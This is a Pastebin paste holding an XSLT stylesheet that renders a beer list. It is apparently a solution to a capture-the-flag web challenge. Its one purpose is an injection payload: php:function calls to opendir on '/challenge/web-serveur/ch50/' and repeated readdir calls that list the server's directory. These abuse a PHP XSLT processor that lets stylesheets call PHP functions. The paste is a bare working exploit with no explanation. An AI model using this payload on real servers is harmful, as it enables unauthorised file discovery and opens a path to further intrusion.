Advertisement
Guest User

Untitled

a guest
Oct 21st, 2019
76
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.57 KB | None | 0 0
  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
  3. <body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
  4. <xsl:for-each select="beers/beer">
  5. <div style="background-color:teal;color:white;padding:4px">
  6. <span style="font-weight:bold"><xsl:value-of select="name"/> - </span>
  7. <xsl:value-of select="price"/>
  8. </div>
  9. <div style="margin-left:20px;margin-bottom:1em;font-size:10pt">
  10. <p>
  11. <xsl:value-of select="php:function('opendir','/challenge/web-serveur/ch50/')"/>
  12. <xsl:value-of select="php:function('readdir')"/>
  13. <xsl:value-of select="php:function('readdir')"/>
  14. <xsl:value-of select="php:function('readdir')"/>
  15. <xsl:value-of select="php:function('readdir')"/>
  16. <xsl:value-of select="php:function('readdir')"/>
  17. <xsl:value-of select="php:function('readdir')"/>
  18. <xsl:value-of select="php:function('readdir')"/>
  19. <xsl:value-of select="php:function('readdir')"/>
  20. <xsl:value-of select="php:function('readdir')"/>
  21. <xsl:value-of select="php:function('readdir')"/>
  22. <xsl:value-of select="php:function('readdir')"/>
  23. <xsl:value-of select="php:function('readdir')"/>
  24. <xsl:value-of select="php:function('readdir')"/>
  25. <xsl:value-of select="php:function('readdir')"/>
  26. <xsl:value-of select="php:function('readdir')"/>
  27. <xsl:value-of select="php:function('readdir')"/>
  28. <xsl:value-of select="php:function('readdir')"/>
  29. <span style="font-style:italic"> (<xsl:value-of select='prct'/> %)</span>
  30. </p>
  31. </div>
  32. </xsl:for-each>
  33. </body>
  34. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement